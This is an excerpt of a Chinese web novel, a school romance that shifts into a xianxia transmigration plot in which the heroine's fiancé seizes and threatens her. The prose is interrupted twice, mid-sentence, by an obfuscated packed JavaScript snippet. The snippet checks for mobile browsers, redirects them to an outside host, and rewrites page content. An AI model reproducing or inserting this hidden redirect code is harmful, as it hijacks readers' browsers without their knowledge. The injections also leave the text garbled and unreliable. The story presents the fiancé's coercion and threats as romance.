裴甜看苗曦沮丧得仿佛泄了气的皮球,鼓了鼓小脸,犹豫一阵:“要不我陪你到运动馆门口,你进去看,我在外面等你。” 九月的南城还是冒着暑气,太阳已经升得很高,晃眼的日光斜斜地晒在人身上。 裴甜说话的同时,熟练地把防晒服的帽子拉起来,盖在头上。 她脸小,白白净净的,头也不大,防晒服宽大的帽子一耷拉下来,直接遮到了鼻梁那一块,看着像嫌疑犯要去抢银行似的。 裴甜默默把帽子往后扯了扯,露出清澈乌黑的瞳仁,看着苗曦。 苗曦摇头:“那我不能把你一个人丢在门外啊!而且我自己进去不好意思……”她抱着裴甜细软的胳膊,忽然灵光一闪,想了个两全其美的好办法,“要不这样,甜甜你陪我进去,我们远远地看一眼大神长什么样就走,我不过去打招呼了,行不行?” 裴甜不是很相信,睨着她问:“真的看一眼就走?” “真的、真的。”苗曦伸手,要跟她拉钩。 裴甜勉为其难地拉了钩,帽子又滑下来,她耐着性子给它再次扯到后面去。 两个人过了条街,往前面一转,果然看见南风运动馆的大门。 馆里空间特别大,一楼的几个运动场都有人,还有好多男生女生在旁边围观。 男生最多,四五十个应该有。女生大多数都围在篮球场那,放眼望去,也有二十来个,看起来年龄不大,好像还是学生。 苗曦东看看西看看:“不知道大神在不在一楼,我们找个人问问?” 裴甜盯着女生最多的那处,想了想,小声说:“应该在篮球场吧,那里——”说到这的时候,帽子又滑下来,刚好搭在她眼睛上。她静了一秒,吸了吸鼻子,若无其事地继续说下去,“人最多。” 对比其他运动场稀稀拉拉的围观者,篮球场围满了人,气氛沸腾,尖叫声不断。 那个周野,又是大神又是队长,还请客,想必应该很受欢迎,那要找他,直接往最热闹、围观者最多的球场去就好了。 “有道理,那我们快过去看看。”苗曦紧张得手心冒汗,有种小粉丝见偶像的激动。 她们绕到另一边的休息区。 因为视线有遮挡,这里没什么人,只有两个穿球衣的男生大大咧咧地坐在地上,肩上搭块毛巾,手里拿着瓶喝了一半的矿泉水。 裴甜跟苗曦站在他们斜后方,盯着篮球场里跑来跑去的男生看。 “甜甜,你说哪个是野王大神啊。”苗曦看了两分钟也没敢确定。 他们一群人都穿着球衣,只是分成了两种颜色,还不停地跑来跑去,视野也不好,很难有仔细看清正脸的机会。 裴甜皱着眉,盯了一阵,肃着小脸非常认真地下了定论:“那个15号吧,看起来挺像的。刚才他没拦住对手,让人进了球,外面还是特别激动地尖叫,都给他捧场。” 苗曦顿了顿,一言难尽地转头看着裴甜:“可是15号那个大高个看起来又黑又憨,大神说话的声音那么苏,不像这个长相吧……” 裴甜坚持:“你看,他又没拦住,都让对面13号跳上篮筐了,外面喝彩声还这么激烈,一定是他。” “……”苗曦看了一眼裴甜,又看了看赛场,幽幽地问,“那,有没有可能,其实是给进球的13号尖叫?” 裴甜噎住,跟苗曦面面相觑,两人诡异地沉默了一阵。 前面两个男生听全了她们的对话,笑得抖了半天,扭过头,上下打量一眼她们俩:“战队里的?专门来看野哥啊?” “嗯嗯。”苗曦急忙点头,抓住机会问,“里面哪一个是周野大神啊?” 傅阳指着刚才一直进球的13号:“那个就是野哥,你们俩什么眼光啊,还黑大个,野哥知道了不得气炸。” 许沐杰说:“我就说野哥那脾气不行,你看队里妹子都把他想成啥样了。” 裴甜心虚地扭过头,又止不住那点微妙的避雷心理,眼尾余光瞥向篮球场那个敏捷的身影。 穿着13号球衣的男生跑得飞快,迅速运球过人,起跳扣篮,带着一股少年躁动的肆意张扬。 许沐杰啧啧感叹:“野哥好猛!” 傅阳:“外面那么多女生看着呢,能不猛吗?我上我也行。” “你不刚下来吗?就进了一个球啊。”许沐杰无情拆穿他的装逼言论。 傅阳冲他翻了个白眼。 此时周野回头,看了一眼后边的队友,示意他们传球,正脸刚好冲着她们这边。 裴甜瞬间看清他的长相,怔了怔。 极其嚣张的眉眼和薄唇,带着几分玩世不恭的冷痞。 这张脸。 苗曦也认出来了,张大嘴“啊”了一声,一下子抓紧她的手臂,激动得跳起来:“啊啊啊大神是昨天那个穿黑衣服的男生!我的天,他打球好帅啊,我死了!” 裴甜静静地看着兴奋尖叫的苗曦,眼神复杂,一时之间不知道说什么好。 原来那个男生是周野。 那教导处门外,他们说的“野哥”就是他吧。 裴甜又想起那些不正经的话。 “高二高三要有这样的,还不早被野哥玩过了。” “咱野哥可不是那样的人啊。” “放屁不是。” 以他嚣张又挺狠的作风和气焰,确实像那种很混的年级大佬,或者说校霸,二世祖,都一样了。 反正他想要欺负一个女同学,很容易。而女同学,只能可怜弱小又无助地被他呼来喝去…… 裴甜乱七八糟地想了一通,脸色发白,最后吸了口气。 算了。别人可能只是随口开句玩笑,她没必要当真。 而且哪个学校都有这样的学生,她好好学习,躲开他就行。 裴甜把唇抿得紧紧的,下了决心。 篮球场里胜负已分,傅阳和许沐杰要过去了,转头准备和她们告个别,不期然撞上裴甜抿着唇往后拉扯帽子,不约而同“卧槽”了一声,四只眼睛瞪得老大,直直地盯着她,呆在那里快一分钟。 裴甜扯帽子的小手顿了片刻,慢慢松开,垂着眼睛让帽子滑下来。 许沐杰还矜持点,傅阳就不行了,骚气地扯了扯衣服,凑过来特殷勤地问:“诶同学你游戏名叫什么啊?我是‘射手何须救赎’,要不加个好友,回头带你上分。” “你是——”苗曦本来想说他是昨晚战队赛遇到的那个人,又想起裴甜被他们针对得那么惨,急忙打住了话头。 裴甜听见这个游戏名字,眼皮跳了跳,小声说了句:“不用。” 少女音娇软干净,听得两个男生一阵心猿意马。 “那加个微信吧,”傅阳立刻掏出手机,按到添加微信好友那里,一个劲往她手上递,“你什么时候想玩了跟我说,我随时有时间。或者别的游戏我也可以陪你玩。” 苗曦推开他的手,憋着笑说:“你死心吧,她不会加你们的。” 杀了甜甜十六次还想加她微信,想也别想。 裴甜不想跟他们在这纠缠,拉了拉苗曦,准备走。 傅阳“哎”了声,有点着急,伸手拦了她们一把:“不是,怎么就走了?你们特意大老远来的,不打个招呼再走吗?野哥刚好打完球了,我帮你们叫他啊!” 说完,也不给她们拒绝的机会,扭头就冲球场里喊:“野哥!这里有妹子找你!” 瞬间万众瞩目,整个场馆里的目光齐刷刷地看过来。 周野刚打完球,热得浑身冒汗,头发都是湿的,躬着身子坐在休息区的椅子上,仰着头咕咚咕咚灌水,刚才的队友站在他周围说话。 听见傅阳喊,他往场外裴甜的方向看了一眼,把矿泉水瓶随手扔在椅子上,站起来,慢腾腾地往这边走。 一堆人给他递毛巾,周野没要,撩起球衣下摆擦了一把脸上的汗,行走中露出劲瘦的腰线。 裴甜呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824193|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了呆,有点不适应,慌张地把眼睛转回来,扯了扯苗曦的手臂,小声说:“我们走吧。” “啊?好。”苗曦恋恋不舍地多看了两眼,没硬留,跟着裴甜一路小跑出去。 周野看见两个女生见他过去,立刻落荒而逃,笑着偏头嗤了声,也没在意。 撩个衣服这么大反应,没见过男生腹肌是怎么的。 “干什么。”周野走过来,大剌剌地坐在旁边椅子上。 傅阳扼腕叹息:“野哥你来晚了,刚才有个好漂亮的妹妹专门来看你。” “哪个。” “刚刚站我旁边那个头上盖着帽子的女生,脸长得是真的绝,杀到我灵魂出窍。”而且看着身娇体软的,他就喜欢这种类型的女生。 许沐杰附和地点头:“他这回没夸张。” 周野想了下,刚才他只是随便扫了一眼,没注意,那个女生帽子遮住了半张脸,就看见她下巴还挺白的,有一点儿尖细,像瓜子脸。 “找我干什么。”周野低着头,随口一问,看起来没什么兴趣。 傅阳摇头:“不知道。好像是咱们战队里的——哦,跟你说个事,刚才她们俩没认出你,那个巨漂亮的妹妹就说,你是对面那个虎背熊腰的黑大个哈哈哈!” 周野扯扯唇角,这他妈就离谱。 傅阳问:“野哥有没有兴趣啊,没有我可追去了啊。” 许沐杰好心提醒:“阳哥,咱照照镜子不好么?” 傅阳捅了他一手肘。 “没,你看上了你就追。”周野语气淡淡的。 刚才打球的几个男生全都往这边过来了,笑着说:“咱野哥跟女朋友好着呢,你别捣乱啊,回头嫂子撕了你。” 傅阳这就不服了,曲起手肘撑在周野肩膀上,斜靠着他,嘚瑟地抖腿:“怕什么,咱这是铁打的兄弟,流水的嫂子,野哥一定不舍得看着我被撕。” “滚走,娘们儿唧唧的。”周野抬手挡开傅阳,站起来往更衣室去。 一群人嘻嘻哈哈都跟着走,有个男生还奇怪地问:“野哥这两天情绪有点不对劲啊,怎么了?刚才也没接嫂子电话,闹呢?” 傅阳摆摆手,小声说:“嗐,没事,这野哥老毛病,前年就开始了,去年最严重,跟被女人绿了一样,谁都不理,过一阵就好。” * 晚上八点半。 裴甜洗完澡,回卧室预习好功课,又把练习册拿出来写。 裴妈妈蹑手蹑脚地进来,放了一杯温牛奶在她书桌上,把台灯调亮了点,低声嗔怪说:“灯太暗了伤眼睛,跟你说了多少次,叫你不要节约这点电。” 裴甜手中的笔一顿,抿了抿唇,很快继续埋头做作业,听话地说:“知道了妈妈。” 一直静悄悄地写到十点多,她书桌最下面那个抽屉,忽然呜呜地振动了一下。 裴甜放下笔,弯腰拉开抽屉。 抽屉里放着一只不知道什么牌子的手机,手机下压着照片、奖状和日记本。 那张照片上,裴甜柔软的黑发微卷,画着人鱼公主的眼妆,深蓝的眸色,美得惊人。 背景像是在什么典礼的后台,她举着奖杯,笑容灿烂,满世界的星光都在她的眼里,闪闪发亮。 她旁边站着一个阴郁妖艳的男生,挎着一把吉他,长发染成蓝色,打了好几个耳洞,脖子上纹着“PT”两个字母,着装也非常摇滚,带着一股重金属的质感。 照片上面用黑笔写着:我们要当大明星!后面还画了个开心的笑脸。 裴甜垂下眼睛,没有看照片一眼,把手机拿起来。 一串陌生号码发来的短信。 【海选过了】 她静静地看着那几个字,想了一会儿,慢慢输入一句“加油,你一定是冠军”,然后葱白纤细的手指停在屏幕上,犹豫几秒,还是一一删除,熄掉手机,放回抽屉里。 裴甜继续写作业,思绪却怎么也无法再集中,一道题看了好几遍,仍然不记得说了什么。 她把书收起来睡觉。 8. 吃醋 腿上涌起奇异的痛感,裴甜皱着眉睁眼。 眼前是一片茂密的丛林,古木参天,稀碎漂浮的阳光斜斜地投下来,地上铺满腐叶。 脑子里蹦出前情提要:前日裴泠与柳星云等神府弟子结伴出发,前往商丘仙山历练,而周随出了神府就没有跟他们一起,不知去向。 刚到商丘的他们,无意闯进一处禁地,惊醒了不应该存在于商丘最外层的隐藏大妖,至少结丹境六阶实力,他们完全不是对手。 裴泠使用神府秘术,成功禁锢大妖一刻钟,同时右腿也被妖力划伤。 妖毒在小腿筋脉来回肆虐,她不能运转灵力,不能正常行走,只好坐在石头上。 神府众弟子趁此机会,进洞府将法宝财物带走,不知是谁耽搁了,现在已经一刻钟。 裴甜看完前情提要,几名弟子正好出来。 不等他们说话,被禁锢的大妖突然挣脱枷锁,暴戾地尖啸了一声,张开妖力凝聚的黑色羽翼,遮天蔽日,冲他们俯冲下来。 神府弟子脸色大变,全部出剑,准备拼死迎战。 只有裴甜稳如泰山,镇定得不像话,甚至连看大妖一眼的兴趣都没有。 她知道剧情。 神府执法堂派了两名超凡境中阶长老保护她,周围还有四五名高手在看戏,准备英雄救美。 等下执法堂长老出手对付大妖的时候,那几个结丹境、超凡境的高手会出来为她打一架。 果然,大妖前一刻耀武扬威,下一瞬漆黑的天地之间,一道亘古长存的雪白剑气,无比缓慢又无比快速地斩下来。 大地震动,山石寸寸龟裂,周围的虚空,都被这种威严而原始霸烈的力量搅得扭曲。 大妖被这道剑气从头到脚,劈成两半,反抗都没反抗一下。 “天啊!这是什么级别的力量,结丹境中阶的大妖,竟然连接一道剑气的能力都没有!”神府弟子惊骇地望着半空,心神震动。 “太可怕了,恐怕是哪个门派的宗主或世家家主在此。” 柳星云脸色苍白,比刚才对战大妖还紧张。 裴甜忽然皱眉。 似乎有哪里不对,出手相救的执法堂长老,是用剑的吗? 那人出手救了他们,又迟迟没有出现,神府弟子面面相觑。 柳星云咬了咬牙,高声道:“不知哪位前辈出手相救,我们是——” 旁边忽然有人“嗤”了一声,紧跟着,本已裂了一条手臂那么粗的缝隙的石壁,陡然崩碎四散,扬起铺天盖地的石灰。 裴甜抬高衣袖,把她自己的头和脸遮住。 飞沙走石被人刻意控制了方向,没有碰到她。 伴随着深处阵阵狂怒的凶兽嘶吼,一股浓重的腥臭气息从石壁里扑出来。 过了片刻,尘土散尽,裴甜面无表情转头,看见了周随的身影。 周随? 裴甜呆了呆,一时没反应过来。 怎么会是他呀? 她的执法堂长老呢?那几个修罗场高手呢? 之前吃饭的情节无关紧要,改变了就算了,可这回是非常重要的剧情,为什么也会改变? 按照原文,那几个打架的高手里,有宁殊的大师兄,打完回去跟宁殊谈起了此事,宁殊担心她,会在十天后悄悄赶来。 然后男主、周随、宁殊三个大佬齐聚,她才能在误入仙山深处的神魔古战场时,牺牲自己,成为三个大佬的白月光,为替身女主得到宠爱铺路。 现在高手一个都没了,不知道宁殊还来不来。 裴甜懵懵地看着中间的空地,期望还能再落下几个人。 可惜…… 周随破壁而出,手里的剑还在往下滴血。 神府弟子看见是认识的人,刚松了口气,又想起周随是师妹的未婚夫,而师妹一路上跟柳师兄说说笑笑,很是亲密。 虽然他们的确觉得周随处处都配不上裴泠师妹,但架不住这人修为高得离谱。 刚刚拿那道剑气就是出自他手吧。 他们顿时又把那口松了的气提起来,胆战心惊地来回看三人,一句话都不敢说。 柳星云看见周随衣袍上脏兮兮的,又一身血腥味,先皱了皱眉,很快松开,微笑道:“周兄也在此处?方才多谢周兄出手相救了!” 周随扫了他一眼,没理,黑眸盯着裴甜,冷淡地笑:“你就跟这种修为的一起历练?” 裴甜偏头不看他,不想跟他说话,还在纠结剧情改变会不会导致她的任务完不成。 周随握剑的手紧了紧,也不说话了,眼角余光带着杀气,看向柳星云。 按书中剧情,这次周随也是冲着天阶功法来的。 但他一路掉入了禁地之下的深渊,跟各种高阶凶兽拼杀两天两夜,突破到玄门境四阶,才终于从深渊里冲出来,而功法已经被男主拿到。 就是这么倒霉,提前两天到,他也不可能得到奇遇。 柳星云脸色白了点,不动声色地低下头。 周随不屑地扯了扯嘴角,挽了个剑花,长剑消失在手心里,慢腾腾地走过来,每一步都像踩在一干弟子的心上。 裴甜预感他没安好心。 果不其然。 周随停在她面前,微微俯身问她:“换个地方说话怎么样?” “不怎么样。”裴甜两只小手背在身后,手指不停地扣着石头缝,眼神紧张,身体往后仰了仰,侧着头看地上。 周随直接弯腰要抱她。 带着厚茧的手掌一碰到她的后背,裴甜瞬间肢体僵硬,扬着尖细苍白的小脸,震惊地望着他,连忙去推他的胳膊,声音都在发抖:“不要碰我。” 这是什么剧情发展走向,没有这段、没有这段啊! 周随不管她说什么,强硬地把裴甜打横抱起来,瞬间闪到对面山巅。 裴甜被他抱走前,还厌恶得直皱眉,回头朝柳星云求救:“柳师兄,我不跟他走!” “站住。”柳星云犹豫了片刻,鼓起勇气追上去。 裴甜耳边风驰电掣,被一身血腥味混着深渊戾气的周随抱在怀里,又羞又气,还难受。 她两条胳膊抱紧自己的胸,警惕地盯着他近在咫尺的下颌,憋着呼吸,努力把头往外仰,大气不敢喘一下。 周随胸膛的体温仍然越来越滚烫。 她慢慢涨红了脸,起了一片鸡皮疙瘩。 到底是什么情况。 他想抱她去哪儿。 他想干什么。 裴甜乱七八糟地脑补了一些惨不忍睹且不可描述的画面,看着周随的眼神慢慢变得扭曲惊慌,也顾不上他身上脏不脏,两只小手不停地拍他的胸膛,小腿往他身上踹,乱踢乱打,使出吃奶的劲挣扎:“放肆!你快放我下去,我不跟你说话,我们没什么好说的!” 这种贫贱又粗糙的男人怎么配抱她。 周随抿着薄唇忍了一会儿,偏生她两条细弱的小腿老踢他的腰,还在他怀里扭来扭去,蹭得他心浮气躁。 她在他怀里哪怕不动,也很容易让他躁动,更别说这样蹭他,他真的要炸了。 周随浑身肌肉绷紧,道:“你别老是动来动去。” “我是个活人,我当然要动了。你赶紧放我下去!”裴甜感觉周随抱她的力气越来越紧,这样下去她可能会喘不过气,而且他身上的汗和血,把她衣服都弄得湿哒哒的,黏在肌肤上,很不舒服,她忍不住威胁道,“你再不放开,我要咬人了!” 周随瞥她一眼,黑眸里意味深长。 他好像还不相信她会咬人呢。 可笑,兔子急了还咬人,难不成她还不如一只兔子! 裴甜想到他打乱了她的剧情,还这样冒犯她,怒从心起,顾不上脏不脏嫌弃不嫌弃,直接扑上去,搂住他的脖子,张口就要咬他的脸。 周随被她冰凉娇嫩的小手抱住脖子,整个人凑近来,鼻子里全是裴甜身上香香的味道,与他过往常常所处的环境里的气味截然不同,他忽然心跳停止了一拍。 他慢慢转头,看着张嘴冲他嗷呜的裴甜,周遭一切瞬间苍白失色。 顿了顿,柔软的唇瓣碰到他的脸,紧跟着刻骨的痛意涌上来。 胸膛里顿时有股奇异的躁动拼命往外拱,他“嘶”了一声,却忍着,手臂把裴甜的后背抱得更紧,用力把她往自己胸膛上按。 裴甜细密的贝齿叼着他的脸皮,使劲往外拉扯,睁大眼威胁地瞪着他,意思是:你放不放? 没多久,裴甜战术成功,双脚落地。 她松开牙齿,自己找了个石头坐下,拿手帕捂着嘴吐了一会儿,偷偷看了一眼周随脸上那两排牙印,心虚地急忙转过头。 这么狂热地盯着她干什么,是他先耍流氓的,能怪她吗?再说她也没咬出血,一个大男人,何必跟她这么计较。 裴甜慌张地不停看着地上眨眼睛,手心开始出汗。 周随不知道在想什么,在那安静了半晌,终于用手背抹了一下脸上的口水,在衣服上擦干,朝裴甜走过来,蹲她面前,大手一把抓住她的脚踝。 裴甜悚然一惊。 这这这……这是干什么? 她万万没想到周随已然如此丧尽天良、道德败坏、禽兽不如,急忙用另一只脚踹他的手臂,话音里带着哭腔:“你走开!别碰我!你敢对我做这种事,神府不会放过你的!而且、而且我……” 周随大手把她两只脚都抓住,费解地抬起眼皮,黑眸看了她一阵,从她惊恐又恶心的神情里,才明白过来她在想什么。 他心里嗤了一声,挑眉,懒懒地扫了一眼她玲珑有致的曲线,冲她笑了。 裴甜看他笑出一种渗人的变态,吓得拼命往回抽小腿,又抽不动,急得不行,整张脸都皱到一起。 腿上妖力肆虐,她又不能用灵力。 林子里也没有一丁点人声,只有隐隐约约的鸟兽虫鸣,是个作孽的好地方。 裴甜脑子里暴风运转,怎么办,她可不能跟这个人有一腿。 剧情不是这样走的呀! 保护她的执法长老为什么不见了? 裴甜欲哭无泪,硬着头皮盯了他几秒,准备出绝招,忽然发现周随只是看着她笑,一直没有下一步动作。 她眉毛一皱,明白过来了,朝他胸口踢了一脚,恼道:“你敢耍我?” “是我耍你,还是你把我想得太龌龊?”周随胸口挨了她一脚,往后仰了下,意味深长地说:“怎么,听你这意思,好像有点想要我来真的?” “恶心!”裴甜啐他一口,动了动脚,还是抽不出来,不耐烦道,“放手啊,还抓着我脚干什么,臭流氓。” 周随被骂,盯她一眼,懒得跟她计较:“你不是妖毒钻到腿里去了吗?说句好听的,我帮你逼出来。” “没有好听的!我不用你救,过一个时辰它自己就会好的。”裴甜冷着小脸,扭头讨厌道,“少拿你的脏手碰我。” 周随脸上笑意消失,抬头看了她须臾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824194|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头,放开她的脚,站起来沉声说:“行,那你在这等着。等大□□来一口吞了你。” 裴甜皱眉想了一会儿,没明白他在说什么东西。 在这种生死攸关的时候,她脱口而出的竟然是:“什么大□□?” “你不白天鹅吗?”周随头也没回,真走了。 “……” 癞/□□想吃天鹅肉。 他怕不是在说他自己。 四周有兽鸣越来越近,近得裴甜打了个颤。 现在她不能用灵力,也不知道周随把她扔在哪里的,仙山的凶兽都极其暴躁,要是真冲出来一头…… 感受到死亡的威胁,裴甜小脸发白,心里忍不住骂周随撒气。 正把他恨得咬牙切齿的时候,一条黝黑的手臂从她背后伸出来,手里捏着几颗娇艳欲滴的野花。 花苗被连根拔起,用狗尾巴草十分草率地扎在一起,像捆白菜一样,根部还带着泥,泥土颤颤巍巍地悉数掉在她雪白的裙裾上。 裴甜瞳孔剧烈收缩了几秒,沉默着把目光从鲜艳的花朵上慢慢下移,停在自己兜着泥土的冰绡裙面。 身后的人看她没反应,又把另一只手伸到她面前。 这只手里捏着一串红彤彤、香气诱人的仙果。 问题是……这一串仙果,从枝丫到每个果子,全都长满了尖利的毒刺,像针一样冲着她的脸。 偏偏周随这个姿势看着有点像从后面把她圈起来。 裴甜后背感受到他身上热烘烘的,讨厌得不行,特别不自在地想往前躲,又慑于毒刺的威胁,只能僵在那里。 明明以前也闹得不怎么愉快,这么亲密的举动实在是不合适,他怎么心这么大呢? 而且他真的一点都感觉不到她有多嫌弃他吗。 裴甜大概知道他是什么情况了,苦恼地皱着眉,用手腕挡开他的手臂,没什么情绪地叫了一声:“周随。” 这似乎是她第一次叫他的名字。 周随耳朵发痒,“嗯”了声,从后面转到侧面,把花和仙果都递给她。 裴甜看了两眼白菜,哦不是,野花,把头偏过去,不想接。 她才不要这种东西。 “要不要,不要扔了。”周随看她那么瞧不上的神情,迟迟不拿,语气也随之变冷。 裴甜怕他,人在屋檐下,不得不低头,又转过来看着他手里的东西,犹豫了几秒,还是没好气地说:“我怎么要,全是刺,还有泥,脏死了。” “那把刺拔了。”周随也不管她要不要,直接把花撂在她大腿上,跟她坐同一块石头,双腿大剌剌地分开,手肘撑在膝盖上,低头一个果子一个果子地把刺给她拔下来。 裴甜眼皮抖了抖,无法忍受被他这样的男人挨得这么近,两只小手撑着石头,努力往旁边挪了挪,把花束从她裙子上拿起来,慢吞吞地把泥土拂到地上。 冰绡还是染上了浅浅的泥印。 没事,不要跟他置气,不值得。 她盯着脏了的裙子,把花扔到背后,开始思考如何把剧情圆回去。 周随把刺拔完,果子放她手里,扫了一眼她的小腿,站起来,抱着手臂靠在树干上,盯着她。 那种成熟男性带着隐晦的占有欲的眼神,盯得她头皮发麻。 尤其是,她已经知道他的心思的情况下,这种眼神更吓人。 树叶被风吹得簌簌落下,在她脚边打着旋儿转圈。 察觉到气氛尴尬,周随先打破静谧,闲闲地说:“你那姓柳的靠不靠谱啊,这么久还没到。” 裴甜陷入沉思,懒得跟他说话。 周随等了一会儿,看见她吃得红艳艳的唇色,滚了滚喉结,别开眼,讽刺地笑:“原来你喜欢没本事的?” 裴甜又塞了一个果子在嘴里。 “你倒是给个话。” 裴甜吸了吸鼻子,瞥他一眼,扬着下巴不高兴道:“人家哪里没本事,人家本事大着呢。我就喜欢他这种家大业大又修为厉害的,你那么穷才没本事。” 周随歪头,冷冷道:“他那么厉害,怎么遇到这种小妖都打不过?” “什么小妖,至少是结丹境六阶的实力。”裴甜狠狠地咬了一口仙果。 “结丹境连我一道剑气都挡不住,到底我没本事还是他没本事。” 裴甜一下子如鲠在喉,憋了半天,恼羞成怒地说:“就知道打打杀杀,莽夫!野蛮!” “姓柳的不野蛮,那他怎么还没找到你。”周随冷冷地笑,“就算找到你了,你看他能不能把你从我手里带走。” 裴甜气得拿手拍了一下石头。 石头没怎样,她手红了,哆嗦了一下,慢慢背到背后去,捏起来:“你到底想干什么?能不能认清楚你自己的身份,我是神府千金,要风得风要雨得雨,你只是一个修为比我略强的寒门散修,不要再仗着是我未婚夫来找我了。我跟你是云泥之别,我不想见到你,也没有空跟你在这里绕,你最好赶紧退婚,或者我还能给你一些法宝、功法做补偿。” 她神情极其傲慢厌烦,说完这段话,空气都仿佛凝固了。 周随沉下黑眸,冷怒地盯了她好一阵,偏偏心里克制不住对她的肖想。 他冷笑道:“我就不退婚,你能把我怎么样。你让我不爽,我也不让你跟别人在一起,你再嫌弃我,还是得嫁。” 仿佛这样还不够,他又特别过分地补了一句恐吓:“嫁过来我就让你生不如死,看你还敢不敢嫌弃。” 9. 流氓 “你!”裴甜气得发抖,又找不到反驳的话,愤怒地盯了周随半天,深吸一口气,强行冷静下来。 腿上肆虐的妖力越到后面越痛,她光洁的额上浮起细细密密的冷汗,小脸煞白,咬着牙忍了一会儿,实在忍不住了,不情不愿地冲他开口:“你先帮我把、把妖力逼出来。” 周随看了看她雪白的脸色,沉默着蹲下去,把她的脚抓过来,运起灵力缓缓注入她的筋脉。 妖力像是感受到危险降临一样,疯狂四处乱窜。 裴甜疼得当场冲他哭出声,双脚乱踢,直接踢到他脸上。 周随歪了歪头,离她的脚远了点,黑眸沉沉,意味不明地盯着她,有威胁的意思。 他又不是傻子,能看不出她是故意踢他脸的。 很快,乱窜的妖力被他毫不费劲地逼出来,直接绞碎。 周随放开她的脚,仍单腿跪膝地蹲在那,看着裴甜。 刚刚他灵力进入她小腿的时候,裴甜莫名涌起一股说不出的羞耻,眼下耳尖还是红的,神色很不自然。 她别过脸,活动了一下脚踝,站起来拍身上的灰尘。 又看见周随还一直看着她,裴甜皱眉,有点烦:“你一直盯着我看什么?” 此时柳星云破空而来,落在裴甜身前,拿剑指着周随,歪头关切地问:“师妹你没事吧?” “没事。幸亏师兄来得及时,我就知道你一定会来救我的。我们快回去吧。”裴甜理了理衣袖,转身要跟柳星云走。 周随挡在她面前,看着柳星云道:“我没说你可以带走她。” 柳星云脸色一变,把裴甜护在身后,皱眉道:“周兄,你这样是与上古神府为敌。” “那又如何。”周随抬手,凭空一把长剑出鞘,古老威严的气息随之弥漫出来。 柳星云当然不是周随的对手,刚才大妖都接不住他一道剑气,别说打不过大妖的柳星云。 裴甜不能眼看着柳星云被周随打死,只好厌烦地蹙眉道:“周随,我们历练是正经事,你再这样,我要叫执法长老了。” 周随黑眸转向她,冷笑道:“他们都在深渊里,你叫。” ……难怪刚才没出来救她,合着那一群高手和两位长老正自身难保呢。 可是,好端端的,保护她的长老为什么会到深渊里去? 裴甜疑心是周随干的,又想不通他有什么必要这么做。 冷冷地瞪了他几秒,她怒道:“那你打吧,你打死他我也不会喜欢你的,我还会越来越讨厌你,我死也不嫁给你。” 周随深沉的黑眸里情绪变幻,盯着裴甜恼怒厌恶的神情看了好半天,胸口又酸又胀,冷得他难受,生气,又无处可以发泄。 原来她知道。 她只是不接受。 他还好笑地以为自己克制得很好,没有让她看出来。不过也对,喜欢怎么可能藏得住。 三个人在林子里寂静地剑拔弩张了很久。 最后周随冷漠地把脸转过去,先侧身让他们走。 等裴甜从他面前走过,他也收了剑跟上去。 柳星云回头,皱着眉看了一眼神色不善的周随,不知道什么情况,有点担忧。 周随和他们不熟,境界又高出太多,这么跟着容易出事。 而且他感觉周随对他有很明显的敌意,刚才似乎已经看到了他藏在胸口的天阶功法玉简。 裴甜和柳星云回到方才的禁地外,一行人收拾了一下,继续前行。 没过多久,她听到身后几个弟子压着声音低声议论:“那个人好像一直跟着我们!” “他想干什么,表情好吓人啊?” “跟着又有什么用,再跟着师妹也看不上他这种人。” 裴甜知道周随一直跟着她,但是她也没有办法不让他跟着。他又不听她的话,也不是他的对手,只能爱跟就跟吧。 何况原文里的确有周随和他们同行的剧情,只是时间提前了几天而已。 商丘仙山是少数几座谁都可以来的历练圣地,不但各种凶兽妖物横行肆虐,最危险的,还有各种凶恶的修士互相残杀。 一路上他们至少遇到五六批看他们眼神不对的人,但都因为看不透周随修为而放弃。 而且周随特别上道,就算跟裴甜生气,但是只要遇到妖物,他还是第一时间出手解决。 裴甜和几位师兄弟们再也不用战战兢兢,历练得十分惬意,宛如游山玩水一般,全程只需要跟在后面捡宝贝就行。 唯一美中不足的就是,队伍里气氛着实紧张。 周随出手过于凶悍粗鲁,每次都搞得天塌了似的,弄得所有人灰头土脸。 裴甜动不动就要沐浴换衣服,偏偏这种地方又很不方便,她就越看他越生气,越看越生气。 晚上他们停在小溪边的石滩上休息。 裴甜从储物镯里取出她的帐篷,金碧辉煌得像一座小型宫殿。 不过宫殿里面再大再舒适,周随也不可能住进去,裴甜实在是太讨厌他了,看见他就来气。 他也很有自知之明,背对她的宫殿,一个人沉默地坐在溪边,看着潺潺的溪水,手里拿着野果,大口地啃。 忽然一块石头砸在他旁边,溅起一片水花浇在他脸上身上。 周随沉着黑眸,缓缓转过去,看见换了新裙子的裴甜。 她雪白的肤色像是在发光,站在那里,比月色更美,撩人的乌发被晚风吹得微微浮沉,如同神祇。但小脸上的表情极其高傲,娇声冲他说道:“你去捡柴生几堆火在这里,柳师兄要烤肉。” 周随一整天都没跟她讲话,此时又听她用吩咐下人的语气跟他提要求,冷笑一声,没动:“老子没空。” “你哪里没空,不是在吃果子么?”裴甜斜了他一眼。 “他没长手?想吃自己去捡。” “又不是不分给你,你这是什么态度!” 周随又啃了一大口野果,声音清脆,冷冷道:“我不想吃。” “人家一国皇子,哪里知道怎么捡柴,你从小捡到大的,捡柴不是你的强项么?” 殿内的几个师兄弟已经面如土色,很害怕师妹这么说下去,会被直接打死。 